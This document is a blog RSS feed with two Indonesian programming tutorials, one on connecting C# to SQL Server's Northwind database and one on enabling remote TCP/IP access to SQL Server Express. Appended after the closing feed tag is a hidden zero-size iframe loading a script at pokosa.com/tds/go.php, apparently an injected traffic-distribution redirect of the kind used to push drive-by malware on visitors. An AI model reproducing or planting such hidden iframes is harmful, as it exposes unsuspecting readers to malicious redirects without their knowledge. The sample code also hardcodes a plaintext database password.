<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dijexi.com &#187; SQL Express</title>
	<atom:link href="http://www.dijexi.com/category/sql-express/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dijexi.com</link>
	<description>free programming tutorial, tips and tricks on php, codeigniter, delphi, dotnet, ajax and more..</description>
	<lastBuildDate>Fri, 13 Jan 2012 23:21:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>Koneksi MS SQL Server dengan C-Sharp</title>
		<link>http://www.dijexi.com/2009/05/koneksi-ms-sql-server-dengan-c-sharp/</link>
		<comments>http://www.dijexi.com/2009/05/koneksi-ms-sql-server-dengan-c-sharp/#comments</comments>
		<pubDate>Thu, 28 May 2009 16:06:00 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[C-Sharp]]></category>
		<category><![CDATA[Dotnet]]></category>
		<category><![CDATA[SQL Express]]></category>
		<category><![CDATA[SQL Server]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[koneksi]]></category>
		<category><![CDATA[ms sql server]]></category>
		<category><![CDATA[SqlCOnnection]]></category>
		<category><![CDATA[SqlDataAdapter]]></category>
		<category><![CDATA[SqlDataCOmmand]]></category>
		<category><![CDATA[SqlDataReader]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/05/koneksi-ms-sql-server-dengan-c-sharp/</guid>
		<description><![CDATA[Class C# untuk keperluan akses database SQL Server yang meliputi connection, command, dan adapter classes dapat dilihat pada tabel di bawah. Class tersebut didefinisikan pada namespace System.Data.SqlClient . Class Description SqlConnection Koneksi fisik ke Database SQL Server SqlDataCommand Menjalankan perintah / command SQL pada database SqlDataAdapter Moves data between the DataSet and the physical Database [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>Class C# untuk keperluan akses database SQL Server yang meliputi connection, command, dan adapter classes dapat dilihat pada tabel di bawah. Class tersebut didefinisikan pada namespace <code>System.Data.SqlClient</code> .</p>
<p><span id="more-370"></span></p>
<table style="border-bottom: 2px solid; border-left: 2px solid; border-top: 2px solid; border-right: 2px solid" border="0">
<tbody>
<tr bgcolor="#e0e0e0">
<td><strong>Class</strong></td>
<td></td>
<td><strong>Description</strong></td>
</tr>
<tr>
<td><code>SqlConnection</code></td>
<td></td>
<td>Koneksi fisik ke Database SQL Server</td>
</tr>
<tr>
<td><code>SqlDataCommand</code></td>
<td></td>
<td>Menjalankan perintah / command SQL pada database</td>
</tr>
<tr>
<td><code>SqlDataAdapter</code></td>
<td></td>
<td>Moves data between the DataSet and the physical Database using a connection and a command</td>
</tr>
<tr>
<td><code>SqlDataReader</code></td>
<td></td>
<td>Untuk meng-iterasi hasil yang dikeluarkan oleh suatu command</td>
</tr>
</tbody>
</table>
<p>Pada SQL Server ketika diinstall terdapat database Northwind Trader. Contoh di bawah ini kita akan menggunakan database tersebut.</p>
<p>Pada contoh ini kita menggunakan command object secara langsung. Program memanggil method<code>ExecuteReader </code>object <code>SqlCommand</code>, yang return-nya adalah <code>SqlReader</code> object. Kemudian kita menggunakan <code>SqlReader</code> untuk membaca seluruh record yang dihasilkan.</p>
<pre class="csharp"><span style="color: #0600ff">using</span> <span style="color: #2b91af">System</span>;
<span style="color: #0600ff">using</span> <span style="color: #2b91af">System</span>.<span style="color: #2b91af">Data</span>;
<span style="color: #0600ff">using</span> <span style="color: #2b91af">System</span>.<span style="color: #2b91af">Data</span>.<span style="color: #000000">SqlClient</span>;

<span style="color: #0600ff">namespace</span> csbook.<span style="color: #000000">ch15</span> <span style="color: #000000">{</span>

   <span style="color: #0600ff">class</span> Example15_3 <span style="color: #000000">{</span>
      <span style="color: #0600ff">static</span> <span style="color: #0600ff">void</span> Main<span style="color: #000000">(</span><span style="color: #0600ff">string</span><span style="color: #000000">[</span><span style="color: #000000">]</span> args<span style="color: #000000">)</span> <span style="color: #000000">{</span>
         <span style="font-style: italic; color: #008080">// create an open the connection</span>
         <span style="color: #2b91af">SqlConnection</span> conn =
            <span style="color: #0600ff">new</span> <span style="color: #2b91af">SqlConnection</span><span style="color: #000000">(</span><span style="color: #a31515">"Data Source=DESKTOP;"</span>
               + <span style="color: #a31515">"Initial Catalog=Northwind;"</span>
               + <span style="color: #a31515">"Persist Security Info=True;"</span>
               + <span style="color: #a31515">"User ID=jeff;Password=password"</span><span style="color: #000000">)</span>;

         conn.<span style="color: #000000">Open</span><span style="color: #000000">(</span><span style="color: #000000">)</span>;

         <span style="font-style: italic; color: #008080">// create a SqlCommand object for this connection</span>
         <span style="color: #2b91af">SqlCommand</span> command = conn.<span style="color: #000000">CreateCommand</span><span style="color: #000000">(</span><span style="color: #000000">)</span>;
         command.<span style="color: #000000">CommandText</span> = <span style="color: #a31515">"Select * from Customers"</span>;
         command.<span style="color: #000000">CommandType</span> = CommandType.<span style="color: #2b91af">Text</span>;

         <span style="font-style: italic; color: #008080">// execute the command that returns a SqlDataReader</span>
         <span style="color: #2b91af">SqlDataReader</span> reader = command.<span style="color: #000000">ExecuteReader</span><span style="color: #000000">(</span><span style="color: #000000">)</span>;

         <span style="font-style: italic; color: #008080">// display the results</span>
         <span style="color: #0600ff">while</span> <span style="color: #000000">(</span>reader.<span style="color: #000000">Read</span><span style="color: #000000">(</span><span style="color: #000000">)</span><span style="color: #000000">)</span> <span style="color: #000000">{</span>
            <span style="color: #0600ff">string</span> output = reader<span style="color: #000000">[</span><span style="color: #a31515">"CompanyName"</span><span style="color: #000000">]</span>.<span style="color: #000000">ToString</span><span style="color: #000000">(</span><span style="color: #000000">)</span>;
            <span style="color: #2b91af">Console</span>.<span style="color: #000000">WriteLine</span><span style="color: #000000">(</span>output<span style="color: #000000">)</span>;
            <span style="color: #000000">}</span>

         <span style="font-style: italic; color: #008080">// close the connection</span>
         reader.<span style="color: #000000">Close</span><span style="color: #000000">(</span><span style="color: #000000">)</span>;
         conn.<span style="color: #000000">Close</span><span style="color: #000000">(</span><span style="color: #000000">)</span>;
         <span style="color: #000000">}</span>
      <span style="color: #000000">}</span>
   <span style="color: #000000">}

</span></pre>
<p>Akhmad Daniel Sembiring</p>
<p><a href="http://www.vitraining.com">vITraining.com &#8211; Qualified IT Products, Outsourcing, and Services</a></p>
<p><a href="http://ligarwangi.com">Ligarwangi.com &#8211; Linux, E-book, Coffee, Gift, etc</a></p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/05/sql-express-meng-enable-koneksi-remote-melalui-tcpip/" rel="bookmark">SQL Express: meng-enable koneksi remote melalui TCP/IP</a></li><li><a href="http://www.dijexi.com/2009/06/perl-konek-ke-postgresql/" rel="bookmark">Perl connection to PostgreSQL</a></li><li><a href="http://www.dijexi.com/2009/06/meng-connect-in-php-ke-postgresql/" rel="bookmark">PHP Connection to PostgreSQL</a></li><li><a href="http://www.dijexi.com/2009/06/codeigniter-konek-ke-port-mysql-tertentu-selain-3306/" rel="bookmark">CodeIgniter: koneksi ke port MySQL tertentu selain 3306</a></li><li><a href="http://www.dijexi.com/2009/07/membuat-sistem-gps-tracking/" rel="bookmark">Membuat Sistem GPS Tracking</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F05%2Fkoneksi-ms-sql-server-dengan-c-sharp%2F&amp;linkname=Koneksi%20MS%20SQL%20Server%20dengan%20C-Sharp"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/05/koneksi-ms-sql-server-dengan-c-sharp/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQL Express: meng-enable koneksi remote melalui TCP/IP</title>
		<link>http://www.dijexi.com/2009/05/sql-express-meng-enable-koneksi-remote-melalui-tcpip/</link>
		<comments>http://www.dijexi.com/2009/05/sql-express-meng-enable-koneksi-remote-melalui-tcpip/#comments</comments>
		<pubDate>Wed, 27 May 2009 15:59:00 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[SQL Express]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[SQL Express remote connection]]></category>
		<category><![CDATA[SQL Express TCP/IP connection]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/05/sql-express-meng-enable-koneksi-remote-melalui-tcpip/</guid>
		<description><![CDATA[Protokol networking secara default di-disabled pada SQL Server Express. Karena itu, jika kita meng-install Express dengan pilihan default, maka SQL Server Express hanya akan dapat menerima koneksi yang berasal komputer local dimana SQL Server terinstal. Untuk meng-enable SQL Server Express agar dapat menerima koneksi dari komputer remote kita perlu melakukan hal-hal dibawah ini: Langkah 1: [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>Protokol networking secara default di-disabled pada SQL Server Express. Karena itu, jika kita meng-install Express dengan pilihan default, maka SQL Server Express hanya akan dapat menerima koneksi yang berasal komputer local dimana SQL Server terinstal.</p>
<p>Untuk meng-enable SQL Server Express agar dapat menerima koneksi dari komputer remote kita perlu melakukan hal-hal dibawah ini:</p>
<p><span id="more-369"></span></p>
<h2><strong>Langkah 1: Enabling TCP/IP </strong></h2>
<p>KIta harus memerintahkan SQL Server Express untuk listen pada TCP/IP, hal ini dilakukan dengan langkah-langkah sebagai berikut:</p>
<ul>
<li>Jalankan SQL Server Configuration Manager dari Program Menu &#8211; Microsoft SQL Server 2005 CTP</li>
<li>Klik pada node &#8220;Protocols for SQLEXPRESS&#8221;</li>
<li>Klik kanan pada &#8220;TCP/IP&#8221;  di daftar Protocols dan pilih &#8220;Enable&#8221;</li>
</ul>
<h2><strong>Langkah 2: Setting Service SQLBrowser </strong></h2>
<p>Selanjutnya kita perlu menentukan apakah kita perlu SQL Browser service berjalan atau tidak. Keuntungan dari berjalannya service ini adalah bahwa user yang terkoneksi secara remote tidak perlu menentukan port pada connection string.</p>
<blockquote><p>Catatan: Untuk alasan security disarankan tidak menjalankan SQLBrowser service.</p></blockquote>
<p><span style="text-decoration: underline;">Pilihan A:</span></p>
<p>Jika kita ingin selalu menentukan suatu TCP port ketika melakukan koneksi (yaitu tidak menggunakan SQL Browser service) lakukan langkah dibawah ini:</p>
<ul>
<li>Jalankan SQL Server Configuration Manager dari Program menu &#8211; Microsoft SQL Server 2005 CTP</li>
<li>Klik pada node &#8220;Protocols for SQLEXPRESS&#8221;</li>
<li>Klik pada child node &#8220;TCP/IP&#8221;</li>
<li>Perhatikan entry pada panel bagian kanan untuk &#8220;IPAll&#8221;, klik kanan dan pilih &#8220;Properties&#8221;</li>
<li>Kosongkan &#8220;TCP Dynamic Ports&#8221;</li>
<li>Isikan nomor Tcp Port yang akan digunakan ketikan membuat remote connections, misalnya &#8220;1433&#8243;</li>
</ul>
<p>Pada langkah ini kita harus restart SQL Server Express service, dan kita akan dapat melakukan koneksi secara remote ke SQL Express.  Untuk mengeceknya gunakan perintah SQLCMD dari komputer remote dan lakukan koneksi seperti berikut:</p>
<blockquote><p>SQLCMD -E -S YourServer\SQLEXPRESS,1433</p></blockquote>
<p>Tanda &#8220;,&#8221; pada nama server artinya adalah nomor port.</p>
<p>Jika masih ada error, lihat Step 3.</p>
<p><span style="text-decoration: underline;">Pilihan B:</span></p>
<p>Jika kita menggunakan SQL Browser service lakukan langkah berikut:</p>
<ul>
<li>Jalankan SQL Browser Service</li>
</ul>
<blockquote><p><strong><span style="color: #ff0000"><span style="text-decoration: underline;">Catatan:</span></span><br />
<span style="color: #ff0000">Kita mungkin perlu melakukan perubahan pada registry key. </span></strong><strong><span style="color: #ff0000">Untuk meng-enable sqlbrowser service listen pada port 1434, registry key berikut ini harus di-set menjadi 1</span></strong></p>
<p><strong>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\90\SQL<br />
Browser\Ssrplistener</strong></p>
<p><span style="color: #ff0000"><strong>Selanjutnya restart sqlbrowser service.</strong><br />
</span></p></blockquote>
<h2><strong>Langkah 3: Setting Firewall</strong></h2>
<p>Pada titik ini kita seharusnya sudah dapat melakukan koneksi secara remote. Jika masih juga belum berhasil, kemungkinan ada pada masalah firewall yang diset pada komputer dimana SQL Express berjalan. Langkah berikut ini digunakan untuk men-setting firewall pada Windows XP SP2.</p>
<p>Untuk meng-enable firewall agar mengizinkan trafik SQL Server Express:</p>
<ul>
<li>Jalankan Windows Firewall configuration tool dari Control Panel.</li>
<li>Klik pada Tab Exceptions</li>
<li>Klik pada tombol &#8220;Add Programs.&#8221;  dan pilih &#8220;sqlservr.exe&#8221; dari lokasi dimana kita meng-install SQL Server Express</li>
</ul>
<p>Kita seharusnya sudah bisa melakukan koneksi secara remote. Kita bisa juga men-set firewall yang lebih ketat dengan mengetikkan port number yang diperbolehkan, misalnya 1433 (baik sekali digunakan pada konfigurasi Option A).</p>
<p>Jika kita memilik menggunakan SQL Browser service, kita juga harus menambahkan sqlbrowser service executable pada Tab Exception karena program tersebut listens pada port UDP 1434.</p>
<p>Akhmad Daniel Sembiring<br />
<a href="http://www.vitraining.com">vITraining.com &#8211; Qualified IT Products, Outsourcing, and Services</a><br />
<a href="http://ligarwangi.com">Ligarwangi.com &#8211; Linux, E-book, Coffee, Gift, etc</a></p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/05/koneksi-ms-sql-server-dengan-c-sharp/" rel="bookmark">Koneksi MS SQL Server dengan C-Sharp</a></li><li><a href="http://www.dijexi.com/2009/07/membuat-sistem-gps-tracking/" rel="bookmark">Membuat Sistem GPS Tracking</a></li><li><a href="http://www.dijexi.com/2009/06/meng-connect-in-php-ke-postgresql/" rel="bookmark">PHP Connection to PostgreSQL</a></li><li><a href="http://www.dijexi.com/2009/06/perl-konek-ke-postgresql/" rel="bookmark">Perl connection to PostgreSQL</a></li><li><a href="http://www.dijexi.com/2009/08/zend-studio-7-0-released/" rel="bookmark">Zend Studio 7.0 Released</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F05%2Fsql-express-meng-enable-koneksi-remote-melalui-tcpip%2F&amp;linkname=SQL%20Express%3A%20meng-enable%20koneksi%20remote%20melalui%20TCP%2FIP"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/05/sql-express-meng-enable-koneksi-remote-melalui-tcpip/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
